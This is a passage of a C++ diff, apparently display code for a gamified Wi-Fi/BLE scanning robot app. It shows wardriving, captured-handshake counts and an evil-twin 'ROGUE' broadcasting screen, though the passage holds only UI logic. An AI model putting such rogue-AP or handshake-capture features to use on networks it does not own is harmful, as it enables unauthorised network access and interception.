+ auto stats = gotchi::getStats(); + auto networks = gotchi::getNetworks(); + + // Update on-screen stats with enhanced visual info + char statsText[128]; + + // Mode indicator - removed, now shows network count instead + + // Find best signal + int bestRssi = -100; + const char* bestSsid = "none"; + for (const auto& net : networks) { + if (net.rssi > bestRssi) { + bestRssi = net.rssi; + bestSsid = net.ssid; + } + } + + // Get handshake count (for potential future display) + int hsCount = gotchi::getHandshakeCount(); + + // GPS info display - show coordinates in WARDIVE mode, satellite count otherwise + const char* gpsDisplay = "No GPS"; + if (stats.gpsValid && stats.gpsSatellites > 0) { + static char gpsBuf[48]; + if (_currentMode == gotchi::Mode::WARDIVE && stats.gpsLat != 0 && stats.gpsLon != 0) { + int latDeg = (int)abs(stats.gpsLat); + double latMin = (abs(stats.gpsLat) - latDeg) * 60; + char latDir = stats.gpsLat >= 0 ? 'N' : 'S'; + int lonDeg = (int)abs(stats.gpsLon); + double lonMin = (abs(stats.gpsLon) - lonDeg) * 60; + char lonDir = stats.gpsLon >= 0 ? 'E' : 'W'; + snprintf(gpsBuf, sizeof(gpsBuf), "%02d.%04lf%c %03d.%04lf%c", + latDeg, latMin, latDir, lonDeg, lonMin, lonDir); + } else { + snprintf(gpsBuf, sizeof(gpsBuf), "[G%02d]", (int)stats.gpsSatellites); + } + gpsDisplay = gpsBuf; + } + + // Build stats text - different format for SPECTRUM mode + if (_currentMode == gotchi::Mode::SPECTRUM) { + // Show channel analysis in SPECTRUM mode + auto channels = gotchi::getChannelAnalysis(); + + // Find busiest and best (least busy) channels + int busiestCh = 1; + int busiestCount = 0; + int bestCh = 1; + int bestCount = 999; // High initial value + int totalNets = 0; + char channelDisplay[48] = ""; + char* p = channelDisplay; + + for (const auto& ch : channels) { + if (ch.channel >= 1 && ch.channel <= 13) { + if (ch.networkCount > busiestCount) { + busiestCount = ch.networkCount; + busiestCh = ch.channel; + } + // Track best (least busy) non-zero channel + if (ch.networkCount > 0 && ch.networkCount < bestCount) { + bestCount = ch.networkCount; + bestCh = ch.channel; + } + totalNets += ch.networkCount; + + // Show channels with activity - use simple ASCII for display + if (ch.networkCount > 0) { + const char* bar = ch.networkCount >= 5 ? "#" : + ch.networkCount >= 3 ? "+" : + ch.networkCount >= 1 ? "-" : "."; + int written = snprintf(p, sizeof(channelDisplay) - (p - channelDisplay), "%d%s ", + ch.channel, bar); + p += written; + } + } + } + + int progress = gotchi::getXPProgress(stats.xp, stats.level); + + if (totalNets > 0) { + // Show: Freq | Best:CH Busy:CH | CurrentCH | Level% | Channel visual + snprintf(statsText, sizeof(statsText), "%.1fMHz|B:%d|Bsy:%d|CH%d|Lv%d %d%%|%s", + 2.4 + (stats.currentChannel - 1) * 0.016, + bestCh, // Best channel (recommended) + busiestCh, // Busiest channel + stats.currentChannel, + (int)stats.level, progress, + channelDisplay); + } else { + snprintf(statsText, sizeof(statsText), "SPECT:%.0fMHz|Scanning...|CH%d|Lv:%d %d%%", + 2.4 + (stats.currentChannel - 1) * 0.016, + stats.currentChannel, (int)stats.level, progress); + } + } + + // Cleanup all grid labels when leaving their respective modes + if (_spectrumLabelsCreated && _currentMode != gotchi::Mode::SPECTRUM) { + destroySpectrumLabels(); + } + if (_networkBarsCreated && _currentMode != gotchi::Mode::SCOUT && _currentMode != gotchi::Mode::HUNT) { + destroyNetworkBars(); + } + if (_signalBarsCreated && _currentMode != gotchi::Mode::WARDIVE) { + destroySignalBars(); + } + if (_bleLabelsCreated && _currentMode != gotchi::Mode::BLE_SCAN) { + destroyBLELabels(); + } + if (_headerBoxesCreated) { + destroyHeaderBoxes(); + } + + // Create and update header boxes for all modes + createHeaderBoxes(); + updateHeaderBoxes(); + + // Hide old stats label since we're using header boxes now + _statsLabel->setSize(0, 0); + _statsLabel->setText(""); + + // IDLE mode - rest state with clean UI + if (_currentMode == gotchi::Mode::IDLE) { + // Header boxes already created/updated above + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); // Dark green bg + _networkListLabel->setTextColor(lv_color_hex(0x66FF66)); // Green text + _networkListLabel->setText("Robot is at rest."); + return; + } + // SCOUT mode - passive scanning (blue theme) + else if (_currentMode == gotchi::Mode::SCOUT) { + _networkListLabel->setSize(300, 60); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x000D22)); // Dark blue bg + _networkListLabel->setTextColor(lv_color_hex(0x66AAFF)); // Blue text + + // Show top 3 networks by signal strength + char netList[200] = {0}; + int count = 0; + bool isNew = (networks.size() > _lastNetworkCount); + + // Sort by signal strength (highest first) + std::vector sorted = networks; + std::sort(sorted.begin(), sorted.end(), [](const gotchi::NetworkInfo& a, const gotchi::NetworkInfo& b) { + return a.rssi > b.rssi; + }); + + for (const auto& net : sorted) { + if (count >= 3) break; + char line[64]; + const char* newStr = (count == 0 && isNew) ? " NEW" : ""; + snprintf(line, sizeof(line), "%-12s %4ddBm CH%d%s\n", + net.ssid, (int)net.rssi, net.channel, newStr); + strncat(netList, line, sizeof(netList) - strlen(netList) - 1); + count++; + } + if (networks.empty()) { + snprintf(netList, sizeof(netList), "Scanning...\n"); + } + _networkListLabel->setText(netList); + + _lastNetworkCount = networks.size(); + return; + } + // HUNT mode - active scanning (green theme with action) + else if (_currentMode == gotchi::Mode::HUNT) { + _networkListLabel->setSize(300, 60); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001A00)); // Dark green bg + _networkListLabel->setTextColor(lv_color_hex(0x66FF66)); // Green text + + // Show top 3 networks by signal strength + char netList[200] = {0}; + int count = 0; + bool isNew = (networks.size() > _lastNetworkCount); + + std::vector sorted = networks; + std::sort(sorted.begin(), sorted.end(), [](const gotchi::NetworkInfo& a, const gotchi::NetworkInfo& b) { + return a.rssi > b.rssi; + }); + + for (const auto& net : sorted) { + if (count >= 3) break; + char line[64]; + const char* newStr = (count == 0 && isNew) ? " NEW" : ""; + snprintf(line, sizeof(line), "%-12s %4ddBm CH%d%s\n", + net.ssid, (int)net.rssi, net.channel, newStr); + strncat(netList, line, sizeof(netList) - strlen(netList) - 1); + count++; + } + if (networks.empty()) { + snprintf(netList, sizeof(netList), "Scanning...\n"); + } + _networkListLabel->setText(netList); + + _lastNetworkCount = networks.size(); + return; + } + // WARDIVE mode - GPS wardriving (orange theme) + else if (_currentMode == gotchi::Mode::WARDIVE) { + _networkListLabel->setSize(300, 110); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x221100)); // Dark orange bg + _networkListLabel->setTextColor(lv_color_hex(0xFFaa44)); // Orange text + + createSignalBars(); + updateSignalBars(); + _networkListLabel->setText(""); + return; + } + // BLE_SCAN mode - formatted device list + else if (_currentMode == gotchi::Mode::BLE_SCAN) { + _networkListLabel->setSize(300, 90); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001522)); + _networkListLabel->setTextColor(lv_color_hex(0x44DDDD)); + + auto devices = gotchi::getBLEDevices(); + char bleList[400] = {0}; + + std::vector sorted = devices; + std::sort(sorted.begin(), sorted.end(), [](const gotchi::BLEDeviceInfo& a, const gotchi::BLEDeviceInfo& b) { + return a.rssi > b.rssi; + }); + + strncat(bleList, "Name MAC RSSI\n", sizeof(bleList) - 1); + strncat(bleList, "------------------------------\n", sizeof(bleList) - 1); + + int count = 0; + for (const auto& dev : sorted) { + if (count >= 5) break; + char line[50]; + char macStr[13]; + snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X%02X%02X", dev.mac[0], dev.mac[1], dev.mac[2], dev.mac[3], dev.mac[4]); + snprintf(line, sizeof(line), "%-10s %-11s %d\n", dev.name, macStr, (int)dev.rssi); + strncat(bleList, line, sizeof(bleList) - strlen(bleList) - 1); + count++; + } + if (devices.empty()) { + strncat(bleList, "Scanning for BLE...\n", sizeof(bleList) - 1); + } + _networkListLabel->setText(bleList); + return; + } + // SPECTRUM mode - channel analysis (purple theme with heatmap) + else if (_currentMode == gotchi::Mode::SPECTRUM) { + _networkListLabel->setSize(300, 110); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x150022)); // Dark purple bg + _networkListLabel->setTextColor(lv_color_hex(0xDD66DD)); // Purple text + + createSpectrumLabels(); + updateSpectrumLabels(); + _networkListLabel->setText(""); + return; + } + // ROGUE mode - enhanced display with real data + else if (_currentMode == gotchi::Mode::ROGUE) { + _networkListLabel->setSize(320, 180); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + _networkListLabel->setBgColor(lv_color_hex(0x1A0A00)); // Dark orange bg + _networkListLabel->setTextColor(lv_color_hex(0xFFCC66)); // Orange text + + // Get real data from rogue manager + auto& rogue = gotchi::getRogueManager(); + const char* targetSSID = rogue.getTargetSSID(); + uint8_t targetCh = rogue.getTargetChannel(); + bool isRunning = rogue.isActive(); + + char rogueDisplay[600]; + const char* statusStr = isRunning ? "Broadcasting" : "Stopped"; + + snprintf(rogueDisplay, sizeof(rogueDisplay), + "======================================\n" + " WARNING - EDUCATIONAL USE ONLY\n" + "======================================\n" + "Target SSID: %s\n" + "Target CH: %d\n" + "Status: %s\n" + "--------------------------------------\n" + "Demo of rogue AP / evil twin attacks\n" + " Only test on networks YOU own!\n" + "======================================", + targetSSID, (int)targetCh, statusStr); + + _networkListLabel->setText(rogueDisplay); + + if (GetStackChan().hasAvatar()) { + if (isRunning) { + GetStackChan().avatar().setSpeech("ROGUE\nBroadcasting!\nBe careful!"); + } else { + GetStackChan().avatar().setSpeech("ROGUE\nNot running.\nSet target first."); + } + } + return; + } + // CONFIG mode - show config UI + else if (_currentMode == gotchi::Mode::CONFIG) { + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x002222)); + _networkListLabel->setTextColor(lv_color_hex(0x88AAAA)); + _networkListLabel->setText("CONFIG MODE\n" + "AP: StackChan-Config\n" + "Join then visit http://192.168.4.1\n" + "Or edit /sd/config.json on SD card\n" + "\n" + "Tap anywhere to exit"); + return; + } + // STATS mode - full screen stats display + else if (_currentMode == gotchi::Mode::STATS) { + // Full screen stats display with new format + _networkListLabel->setSize(320, 217); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -2); + _networkListLabel->setBgColor(lv_color_hex(0x1A0A1A)); // Dark purple bg + _networkListLabel->setTextColor(lv_color_hex(0xDD88DD)); // Purple text + + // Build full stats display with new fields + char statsDisplay[600]; + const char* prestigeStr = stats.prestige > 0 ? "+P" : ""; + + int hours = stats.uptimeSeconds / 3600; + int mins = (stats.uptimeSeconds % 3600) / 60; + + int sessHours = stats.sessionTimeSeconds / 3600; + int sessMins = (stats.sessionTimeSeconds % 3600) / 60; + + // Get level title - handle null + const char* titleStr = stats.levelTitle ? stats.levelTitle : "Unknown"; + + snprintf(statsDisplay, sizeof(statsDisplay), + "=========== STATS ============\n" + "%s (%d)%s\n" + "XP: %d/%d (%d%% to next)\n" + "------------------------\n" + "DISCOVERY:\n" + "Nets: %u | HS: %u | BLE: %u\n" + "Channels: %u\n" + "------------------------\n" + "PROGRESS:\n" + "Session: +%d XP (%dh%dm)\n" + "Achieve: %u/37 (+%d XP)\n" + "------------------------\n" + "SYSTEM:\n" + "Uptime: %dh%dm | Heap: %d\n" + "GPS: %s (%d sats)", + titleStr, (int)stats.level, prestigeStr, + (int)stats.xp, (int)stats.xpToNextLevel, (int)stats.progressPercent, + (unsigned)stats.networksFound, + (unsigned)stats.handshakesCaptured, + (unsigned)stats.bleDevicesFound, + (unsigned)stats.channelsScanned, + (int)stats.sessionXPGain, sessHours, sessMins, + (unsigned)stats.achievementCount, + (int)stats.achievementXP, + hours, mins, + (int)stats.freeHeap, + stats.gpsValid ? "OK" : "No", + (int)stats.gpsSatellites); + + _networkListLabel->setText(statsDisplay); + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech(""); + } + return; + } + // Fallback for any other modes (shouldn't reach here) + // Networks and text fallback - this code should NOT run for any defined mode + // since all modes now have explicit handling above with returns + + // Legacy fallback kept for safety - shows scanning status + if (networks.size() > 0) { + // 3-line format: Line1=Network, Line2=Level/XP, Line3=Other + int progress = gotchi::getXPProgress(stats.xp, stats.level); + snprintf(statsText, sizeof(statsText), + "Nets:%d Ch%d %s\n" // Line 1: Networks, channel, best SSID + "Lv:%d XP:%d %d%%\n" // Line 2: Level, XP, progress + "HS:%d GPS:%s", // Line 3: Handshakes, GPS + (int)networks.size(), + stats.currentChannel, bestSsid, + (int)stats.level, (int)stats.xp, progress, + hsCount, gpsDisplay); + } else { + // Reset label positions and colors for other modes (no networks found) + _statsLabel->setSize(300, 75); + _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 10); + _statsLabel->setBgColor(lv_color_hex(0x003320)); // Reset to green + _statsLabel->setTextColor(lv_color_hex(0x00FF88)); // Reset text color + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); // Reset network list bg + _networkListLabel->setTextColor(lv_color_hex(0x88FF88)); // Reset network list text + + // 3-line format for no networks state + int progress = gotchi::getXPProgress(stats.xp, stats.level); + snprintf(statsText, sizeof(statsText), + "Nets:0 Ch%d Scanning\n" // Line 1 + "Lv:%d XP:%d %d%%\n" // Line 2 + "HS:%d GPS:%s", // Line 3 + stats.currentChannel, + (int)stats.level, (int)stats.xp, progress, + hsCount, gpsDisplay); + } + _statsLabel->setText(statsText); + + // Announce new networks found in HUNT mode + if (_currentMode == gotchi::Mode::HUNT && networks.size() > _lastNetworkCount) { + _lastNetworkCount = networks.size(); + + const char* latestSSID = networks.back().ssid; + + if (GetStackChan().hasAvatar()) { + // Show excited emotion when finding new networks + GetStackChan().avatar().setEmotion(avatar::Emotion::Happy); + + // Get quirky phrase from dialogue system + const char* phrase = _idleDialogue.getNetworkFoundPhrase(latestSSID); + GetStackChan().avatar().setSpeech(phrase); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); + } + + // Flash neon lights briefly when network found + _neonFlashCount = 3; + } + + // Announce new BLE devices found in BLE_SCAN mode + if (_currentMode == gotchi::Mode::BLE_SCAN) { + auto devices = gotchi::getBLEDevices(); + if (devices.size() > _lastBLEDeviceCount && devices.size() > 0) { + _lastBLEDeviceCount = devices.size(); + + if (GetStackChan().hasAvatar()) { + // Show excited emotion when finding new BLE devices + GetStackChan().avatar().setEmotion(avatar::Emotion::Happy); + + // Get quirky phrase from dialogue system + const char* latestName = devices.back().name[0] != '\0' ? + devices.back().name : "Unknown Device"; + const char* phrase = _idleDialogue.getBLEDeviceFoundPhrase(latestName); + GetStackChan().avatar().setSpeech(phrase); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); + } + + // Flash neon lights briefly when BLE device found + _neonFlashCount = 2; + } + } + + // Update network list display (show up to 4 networks) + // Or show channel analysis in SPECTRUM mode + if (_currentMode == gotchi::Mode::SPECTRUM) { + auto channels = gotchi::getChannelAnalysis(); + char spectrumText[256] = "Channel Usage:\n"; + + int maxCount = 0; + for (const auto& ch : channels) { + if (ch.networkCount > maxCount) maxCount = ch.networkCount; + } + + size_t spectrumPos = strlen(spectrumText); + for (int i = 0; i < 14; i++) { + char line[32]; + + if (channels[i].networkCount > 0) { + snprintf(line, sizeof(line), "CH%d:%d ", channels[i].channel, channels[i].networkCount); + } else { + snprintf(line, sizeof(line), "CH%d:- ", channels[i].channel); + } + size_t len = strlen(line); + if (spectrumPos + len < sizeof(spectrumText) - 1) { + strcat(spectrumText, line); + spectrumPos += len; + } + if (i == 6 && spectrumPos + 1 < sizeof(spectrumText) - 1) { + strcat(spectrumText, "\n"); + spectrumPos += 1; + } + } + _networkListLabel->setText(spectrumText); + } else if (_currentMode == gotchi::Mode::WARDIVE) { + // WARDIVE - show signal strength distribution with visual bars + char wardiveText[256] = "Signal Strength:\n"; + int strong = 0, medium = 0, weak = 0; + for (const auto& net : networks) { + if (net.rssi > -60) strong++; + else if (net.rssi > -80) medium++; + else weak++; + } + snprintf(wardiveText, sizeof(wardiveText), "+++ %d Strong | ++ %d Med | + %d Weak\n* %s %s", + strong, medium, weak, getSignalBars(bestRssi), bestSsid); + _networkListLabel->setText(wardiveText); + } else if (_currentMode == gotchi::Mode::IDLE) { + // IDLE - show rest state message + _networkListLabel->setText("Robot is at rest.\n" + "Touch sides to cycle modes.\n" + "Up: Next mode\n" + "Down: Previous mode"); + } else if (_currentMode == gotchi::Mode::SCOUT) { + // SCOUT - show detailed network list with signal bars + char scoutText[512] = ""; + size_t scoutPos = 0; + int count = std::min((int)networks.size(), 6); + for (int i = networks.size() - count; i < (int)networks.size(); i++) { + char line[80]; + const char* sec = "OPN"; + // Note: beacon frames don't include security info, this is placeholder + snprintf(line, sizeof(line), "%s %s\n CH%d %ddBm %s\n", + getSignalBars(networks[i].rssi), networks[i].ssid, + networks[i].channel, (int)networks[i].rssi, sec); + size_t len = strlen(line); + if (scoutPos + len < sizeof(scoutText) - 1) { + strcat(scoutText, line); + scoutPos += len; + } + } + if (networks.empty()) { + snprintf(scoutText, sizeof(scoutText), "No networks found.\nTry HUNT mode first."); + } + _networkListLabel->setText(scoutText); + } else if (_currentMode == gotchi::Mode::BLE_SCAN) { + // BLE_SCAN - show discovered BLE devices + auto devices = gotchi::getBLEDevices(); + char bleText[512] = ""; + size_t blePos = 0; + + if (!devices.empty()) { + int count = std::min((int)devices.size(), 6); + for (int i = devices.size() - count; i < (int)devices.size(); i++) { + char line[80]; + snprintf(line, sizeof(line), "%s %s\n RSSI: %ddBm\n", + getSignalBars(devices[i].rssi), devices[i].name, (int)devices[i].rssi); + size_t len = strlen(line); + if (blePos + len < sizeof(bleText) - 1) { + strcat(bleText, line); + blePos += len; + } + } + } else { + snprintf(bleText, sizeof(bleText), "No BLE devices found.\nScanning for nearby Bluetooth..."); + } + _networkListLabel->setText(bleText); + } else if (_currentMode == gotchi::Mode::STATS) { + // STATS mode - full detailed stats page (check BEFORE networks) + _networkListLabel->setSize(320, 185); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + _networkListLabel->setBgColor(lv_color_hex(0x220033)); // Dark purple + _networkListLabel->setTextColor(lv_color_hex(0xFF88FF)); + + // Build comprehensive stats display + char statsDetails[500]; + + // Get achievement bitmask to show which are unlocked + uint32_t achMask = gotchi::getAchievementsBitmask(); + + // Get daily challenge + gotchi::ChallengeInfo dailyChallenge; + bool hasDaily = gotchi::getDailyChallenge(dailyChallenge); + + // Format: Networks, Handshakes, Prestige + // Achievement list (abbreviated: N=Network, K=Key, T=Time, M=Mode) + snprintf(statsDetails, sizeof(statsDetails), + "--- STATS ---\n" + "Nets:%u HS:%u P:%u\n" + "--- DAILY ---\n" + "%s\n" + "+%dXP\n" + "--- ACHIEVEMENTS ---\n" + "N:%c%c%c%c%c K:%c%c%c%c T:%c%c%c M:%c%c%c%c B:%c%c", + (unsigned)stats.networksFound, + (unsigned)stats.handshakesCaptured, + (unsigned)stats.prestige, + hasDaily ? dailyChallenge.name : "None", + (int)dailyChallenge.xpReward, + // Network achievements (0-4) + (achMask & (1<<0)) ? '1' : '.', + (achMask & (1<<1)) ? '1' : '.', + (achMask & (1<<2)) ? '2' : '.', + (achMask & (1<<3)) ? '5' : '.', + (achMask & (1<<4)) ? 'X' : '.', + // Key/Handshake achievements (5-8) + (achMask & (1<<5)) ? '1' : '.', + (achMask & (1<<6)) ? '5' : '.', + (achMask & (1<<7)) ? 'X' : '.', + (achMask & (1<<8)) ? 'X' : '.', + // Time achievements (9-11) + (achMask & (1<<9)) ? '1' : '.', + (achMask & (1<<10)) ? '2' : '.', + (achMask & (1<<11)) ? '7' : '.', + // Mode achievements (12-15) + (achMask & (1<<12)) ? 'S' : '.', + (achMask & (1<<13)) ? 'C' : '.', + (achMask & (1<<14)) ? 'W' : '.', + (achMask & (1<<15)) ? 'B' : '.', + // Special achievements (16-17) + (achMask & (1<<16)) ? 'H' : '.', + (achMask & (1<<17)) ? 'B' : '.'); + _networkListLabel->setText(statsDetails); + } else if (networks.size() > 0) { + char networkList[256] = ""; + size_t listPos = 0; + int count = std::min((int)networks.size(), 4); + for (int i = networks.size() - count; i < (int)networks.size(); i++) { + char line[64]; + snprintf(line, sizeof(line), "%s %s (%ddBm)\n", + getSignalBars(networks[i].rssi), networks[i].ssid, (int)networks[i].rssi); + size_t len = strlen(line); + if (listPos + len < sizeof(networkList) - 1) { + strcat(networkList, line); + listPos += len; + } + } + _networkListLabel->setText(networkList); + } else { + _networkListLabel->setText("[W] Scanning for networks..."); + } + + // Idle dialogue - use mode-specific phrases based on ModeInfo + if (gotchi::isDialogueEnabled(_currentMode)) { + uint32_t interval = gotchi::getModeDialogueInterval(_currentMode); + uint32_t now = GetHAL().millis(); + if (interval > 0 && now - _lastIdleSpeak > interval) { + _lastIdleSpeak = now; + if (GetStackChan().hasAvatar()) { + const char* phrase = _idleDialogue.getModeSpecificPhrase(_currentMode); + GetStackChan().avatar().setSpeech(phrase); + GetStackChan().addModifier(std::make_unique(2500, 180, true)); + mclog::tagInfo(getAppInfo().name, "Idle phrase: %s", phrase); + } + } + } + + // Update last count when leaving sniff mode + if (_currentMode != gotchi::Mode::HUNT) { + _lastNetworkCount = 0; + } + if (_currentMode != gotchi::Mode::BLE_SCAN) { + _lastBLEDeviceCount = 0; + } + + if (_currentMode != _lastLoggedMode) { + _lastLoggedMode = _currentMode; + mclog::tagInfo(getAppInfo().name, "Mode: {} | XP: {} | Lvl: {} | Networks: {}", + gotchi::getModeName(_currentMode), (int)stats.xp, (int)stats.level, (int)networks.size()); + } +} + +lv_color_t getHeatmapColor(int networkCount) { + if (networkCount == 0) return lv_color_hex(0x444444); + if (networkCount <= 2) return lv_color_hex(0x00FF00); + if (networkCount <= 5) return lv_color_hex(0xFFFF00); + if (networkCount <= 9) return lv_color_hex(0xFF8800); + return lv_color_hex(0xFF0000); +} + +lv_color_t getHeatmapBgColor(int networkCount) { + if (networkCount == 0) return lv_color_hex(0x222222); + if (networkCount <= 2) return lv_color_hex(0x002200); + if (networkCount <= 5) return lv_color_hex(0x222200); + if (networkCount <= 9) return lv_color_hex(0x221100); + return lv_color_hex(0x220000); +} + +void AppGotchi::createSpectrumLabels() { + if (_spectrumLabelsCreated) return; + + for (int i = 0; i < NUM_CHANNELS; i++) { + _spectrumLabels[i] = std::make_unique(lv_screen_active()); + _spectrumLabels[i]->setSize(42, 38); + _spectrumLabels[i]->setRadius(4); + _spectrumLabels[i]->setTextFont(&lv_font_montserrat_14); + _spectrumLabels[i]->setTextAlign(LV_TEXT_ALIGN_CENTER); + + int col = i % 7; + int row = i / 7; + int x = 5 + col * 47; + int y = 165 + row * 42; + _spectrumLabels[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + char chText[16]; + snprintf(chText, sizeof(chText), "CH%d\n-", i + 1); + _spectrumLabels[i]->setText(chText); + _spectrumLabels[i]->setBgColor(lv_color_hex(0x222222)); + _spectrumLabels[i]->setTextColor(lv_color_hex(0x888888)); + } + _spectrumLabelsCreated = true; +} + +void AppGotchi::updateSpectrumLabels() { + if (!_spectrumLabelsCreated) return; + + auto channels = gotchi::getChannelAnalysis(); + + for (int i = 0; i < NUM_CHANNELS && i < (int)channels.size(); i++) { + int count = channels[i].networkCount; + + _spectrumLabels[i]->setBgColor(getHeatmapBgColor(count)); + _spectrumLabels[i]->setTextColor(getHeatmapColor(count)); + + char chText[16]; + snprintf(chText, sizeof(chText), "CH%d\n%d", i + 1, count); + _spectrumLabels[i]->setText(chText); + } +} + +void AppGotchi::destroySpectrumLabels() { + if (!_spectrumLabelsCreated) return; + + for (int i = 0; i < NUM_CHANNELS; i++) { + _spectrumLabels[i].reset(); + } + _spectrumLabelsCreated = false; +} + +lv_color_t getSignalColor(int8_t rssi) { + if (rssi > -60) return lv_color_hex(0x00FF00); // Strong - green + if (rssi > -80) return lv_color_hex(0xFFFF00); // Medium - yellow + return lv_color_hex(0xFF4400); // Weak - orange/red +} + +lv_color_t getSignalBgColor(int8_t rssi) { + if (rssi > -60) return lv_color_hex(0x002200); + if (rssi > -80) return lv_color_hex(0x222200); + return lv_color_hex(0x220800); +} + +void AppGotchi::createNetworkBars() { + if (_networkBarsCreated) return; + + for (int i = 0; i < MAX_NETWORK_BARS; i++) { + _networkBars[i] = std::make_unique(lv_screen_active()); + _networkBars[i]->setSize(68, 28); + _networkBars[i]->setRadius(3); + _networkBars[i]->setTextFont(&lv_font_montserrat_14); + _networkBars[i]->setTextAlign(LV_TEXT_ALIGN_LEFT); + + int col = i % 4; + int row = i / 4; + int x = 5 + col * 75; + int y = 160 + row * 32; + _networkBars[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _networkBars[i]->setText(""); + _networkBars[i]->setBgColor(lv_color_hex(0x111111)); + _networkBars[i]->setTextColor(lv_color_hex(0x888888)); + } + _networkBarsCreated = true; +} + +void AppGotchi::updateNetworkBars() { + if (!_networkBarsCreated) return; + + auto networks = gotchi::getNetworks(); + + for (int i = 0; i < MAX_NETWORK_BARS; i++) { + if (i < (int)networks.size()) { + int idx = networks.size() - MAX_NETWORK_BARS + i; + if (idx < 0) idx = 0; + + auto& net = networks[idx]; + int8_t rssi = net.rssi; + + _networkBars[i]->setBgColor(getSignalBgColor(rssi)); + _networkBars[i]->setTextColor(getSignalColor(rssi)); + + char barText[32]; + snprintf(barText, sizeof(barText), "CH%d %ddBm", net.channel, (int)rssi); + _networkBars[i]->setText(barText); + } else { + _networkBars[i]->setBgColor(lv_color_hex(0x111111)); + _networkBars[i]->setTextColor(lv_color_hex(0x444444)); + _networkBars[i]->setText("-"); + } + } +} + +void AppGotchi::destroyNetworkBars() { + if (!_networkBarsCreated) return; + + for (int i = 0; i < MAX_NETWORK_BARS; i++) { + _networkBars[i].reset(); + } + _networkBarsCreated = false; +} + +void AppGotchi::createSignalBars() { + if (_signalBarsCreated) return; + + const char* labels[3] = {"STRONG", "MEDIUM", "WEAK"}; + int bgColors[3] = {0x002200, 0x222200, 0x220800}; + int fgColors[3] = {0x00FF00, 0xFFFF00, 0xFF6600}; + + for (int i = 0; i < NUM_SIGNAL_BARS; i++) { + _signalBars[i] = std::make_unique(lv_screen_active()); + _signalBars[i]->setSize(90, 45); + _signalBars[i]->setRadius(4); + _signalBars[i]->setTextFont(&lv_font_montserrat_14); + _signalBars[i]->setTextAlign(LV_TEXT_ALIGN_CENTER); + + int x = 15 + i * 100; + int y = 160; + _signalBars[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _signalBars[i]->setBgColor(lv_color_hex(bgColors[i])); + _signalBars[i]->setTextColor(lv_color_hex(fgColors[i])); + _signalBars[i]->setText(labels[i]); + } + _signalBarsCreated = true; +} + +void AppGotchi::updateSignalBars() { + if (!_signalBarsCreated) return; + + auto networks = gotchi::getNetworks(); + int strong = 0, medium = 0, weak = 0; + + for (const auto& net : networks) { + if (net.rssi > -60) strong++; + else if (net.rssi > -80) medium++; + else weak++; + } + + char countText[3][20]; + snprintf(countText[0], sizeof(countText[0]), "STRONG\n%d", strong); + snprintf(countText[1], sizeof(countText[1]), "MEDIUM\n%d", medium); + snprintf(countText[2], sizeof(countText[2]), "WEAK\n%d", weak); + + for (int i = 0; i < NUM_SIGNAL_BARS; i++) { + _signalBars[i]->setText(countText[i]); + } +} + +void AppGotchi::destroySignalBars() { + if (!_signalBarsCreated) return; + + for (int i = 0; i < NUM_SIGNAL_BARS; i++) { + _signalBars[i].reset(); + } + _signalBarsCreated = false; +} + +void AppGotchi::createBLELabels() { + if (_bleLabelsCreated) return; + + for (int i = 0; i < MAX_BLE_DEVICES; i++) { + _bleLabels[i] = std::make_unique(lv_screen_active()); + _bleLabels[i]->setSize(145, 22); + _bleLabels[i]->setRadius(2); + _bleLabels[i]->setTextFont(&lv_font_montserrat_14); + _bleLabels[i]->setTextAlign(LV_TEXT_ALIGN_LEFT); + + int col = i % 2; + int row = i / 2; + int x = 5 + col * 155; + int y = 160 + row * 26; + _bleLabels[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _bleLabels[i]->setBgColor(lv_color_hex(0x111122)); + _bleLabels[i]->setTextColor(lv_color_hex(0x8888FF)); + _bleLabels[i]->setText(""); + } + _bleLabelsCreated = true; +} + +void AppGotchi::updateBLELabels() { + if (!_bleLabelsCreated) return; + + auto devices = gotchi::getBLEDevices(); + + for (int i = 0; i < MAX_BLE_DEVICES; i++) { + if (i < (int)devices.size()) { + int idx = devices.size() - MAX_BLE_DEVICES + i; + if (idx < 0) idx = 0; + + auto& dev = devices[idx]; + + _bleLabels[i]->setBgColor(lv_color_hex(0x111122)); + _bleLabels[i]->setTextColor(lv_color_hex(0x66DDDD)); + + char bleText[36]; + snprintf(bleText, sizeof(bleText), "%s", dev.name); + _bleLabels[i]->setText(bleText); + } else { + _bleLabels[i]->setBgColor(lv_color_hex(0x111122)); + _bleLabels[i]->setTextColor(lv_color_hex(0x444466)); + _bleLabels[i]->setText("-"); + } + } +} + +void AppGotchi::destroyBLELabels() { + if (!_bleLabelsCreated) return; + + for (int i = 0; i < MAX_BLE_DEVICES; i++) { + _bleLabels[i].reset(); + } + _bleLabelsCreated = false; +} + +void AppGotchi::createHeaderBoxes() { + if (_headerBoxesCreated) return; + + for (int i = 0; i < NUM_HEADER_BOXES; i++) { + _headerBoxes[i] = 